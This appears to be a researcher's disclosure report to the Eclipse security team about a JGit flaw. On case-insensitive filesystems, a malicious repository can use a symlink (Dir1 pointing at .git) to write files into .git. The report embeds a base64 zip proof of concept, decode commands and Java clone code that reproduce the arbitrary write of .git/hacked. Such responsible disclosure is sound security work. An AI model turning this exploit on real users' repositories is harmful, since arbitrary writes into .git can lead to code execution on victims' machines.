JGit: Improper handling of case insensitive filesystems in JGit allows arbitrary file write
Report from the security@ mailing list:
RyotaK ryotak.mail@gmail.com
8:50 AM (48 minutes ago)
to security Hello Eclipse security team, I'm a security researcher who discovered a vulnerability in JGit.
In org.eclipse.jgit/src/org/eclipse/jgit/dircache/BaseDirCacheEditor.java
,
the following code is used to compare the name conflict.
org.eclipse.jgit/src/org/eclipse/jgit/dircache/BaseDirCacheEditor.java line 183-185
int cmp = compareSameName(
ePath, prefixLen, ePath.length,
nPath, prefixLen, s, m);
Because this code doesn't validate whether the filesystem is case sensitive, a malicious repository can cause unintended write to the symbolic link using conflicted filenames. For example, assuming the following two files are included in the repository, hacked will be written to the .git directory instead of the dir1 directory on the case-insensitive filesystem.
Dir1 (symbolic link to .git directory)
dir1/hacked
Steps to reproduce: Since I read that the Eclipse security team can't download attachments, I'm embedding all codes into this email.
- Execute the following command:
echo "UEsDBBQAAAAIACt60FbSKaOC4AEAAKcDAAAKABwARG9ja2VyZmlsZVVUCQADcv6LZCIAjGR1eAsAAQT1AQAABBQAAACNUkuP0zAQvvdXjHLoCTvplqaPA0KiQkJot6gSQivEwbGnialfSpyl21+P7TSF7nLgkHjmm8c389kf97t7MFbg5q6gc1pMJvuvD8Cch94J5vHqStN5phSQZ/hVYwibs3Sg2RGh5hxY7y235gBKVmci8AlCkseTjwDvW/WWWIem61QMDixcQN5a62E6HXo23rtuk+e19E1fUW51NNPHWt7IJ8wPuCpZJZaL2YytWbkq78RiWZS8PLCZWFeLJSvnFSvWNE5HdhBqo/mKbxh/jN6EIx/5X57YK4kQl5d132JEaH7jpoTxvAg5cOqjkC0QB7l1w6IeO0+DEfPjRP/C4yFN+BFSsYEiQgNnUpG2yDHo5Rg/gm97HOj+yiKkVrZiCvoOW4qaSQXZs+3f44lppzCqn73ofFtjmEbIHm3fwkMws8nk227/eftpDzlzQdMPuy+PQYk4AquR/uysAfoCJcry4xhKIxqnQQamQ2vPaFL8IBVe20kj8BQqrvnh7cIVnEKnEB3MR/m8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yNb5wIo3afbyUMINjs2hFsUIpWN9jkqVCViHrgcoXipfOUvz009ON+Wzbf6ef72L1BLAwQUAAAACADPedBW3zORpq8AAAAMAQAADAAcAHBhY2thZ2UuanNvblVUCQADxf2LZCIAjGR1eAsAAQT1AQAABBQAAABNj70OwjAMhPc+hZWhE4pasXVFDMyMFFCUmGKgSZUEKKr67uQHBKO/O5/PUwHAtOiRNcA68kfqRYdsEfEDrSOjo1LzileZKnTS0uA/Soa9oDSRVjjyi8s0G10QpjAG4NH5aEN5NtCytbXGNqANRAHcgJJOhKplUJaAI3moWdicU9oVX09jVYzb7RMRd3829tfiRhK1S69stqtv3QFDKS0J/4rIjqLrUPElzyeKuXgDUEsBAh4DFAAAAAgAK3rQVtIpo4LgAQAApwMAAAoAGAAAAAAAAQAAAKSBAAAAAERvY2tlcmZpbGVVVAUAA3L+i2R1eAsAAQT1AQAABBQAAABQSwECHgMUAAAACADPedBWTzfaDEQAAABOAAAADAAYAAAAAAABAAAApIEkAgAAY29tcG9zZS55YW1sVVQFAAPF/YtkdXgLAAEE9QEAAAQUAAAAUEsBAh4DFAAAAAgAdH3QVtQDG2zXAAAANwEAAAgAGAAAAAAAAQAAAKSBrgIAAGluZGV4LmpzVVQFAAObBIxkdXgLAAEE9QEAAAQUAAAAUEsBAh4DFAAAAAgAz3nQVkHJ898+BAAAMwsAABEAGAAAAAAAAQAAAKSBxwMAAHBhY2thZ2UtbG9jay5qc29uVVQFAAPF/YtkdXgLAAEE9QEAAAQUAAAAUEsBAh4DFAAAAAgAz3nQVt8zkaavAAAADAEAAAwAGAAAAAAAAQAAAKSBUAgAAHBhY2thZ2UuanNvblVUBQADxf2LZHV4CwABBPUBAAAEFAAAAFBLBQYAAAAABQAFAJkBAABFCQAAAAA="
| base64 -d > poc.zip && unzip poc.zip
- Run
docker compose up -d
. - Execute the following Java code:
File localPath = new File("./TestRepo");
Git.cloneRepository()
.setURI("http://localhost:18080/test.git")
.setDirectory(localPath)
.call();
- Confirm that a file called
.git/hacked
is created.
Best regards, RyotaK
And the followup message:
I forgot to note that I only tried it on macOS, and I haven't tested
it on Windows. Please use macOS while reproducing the issue.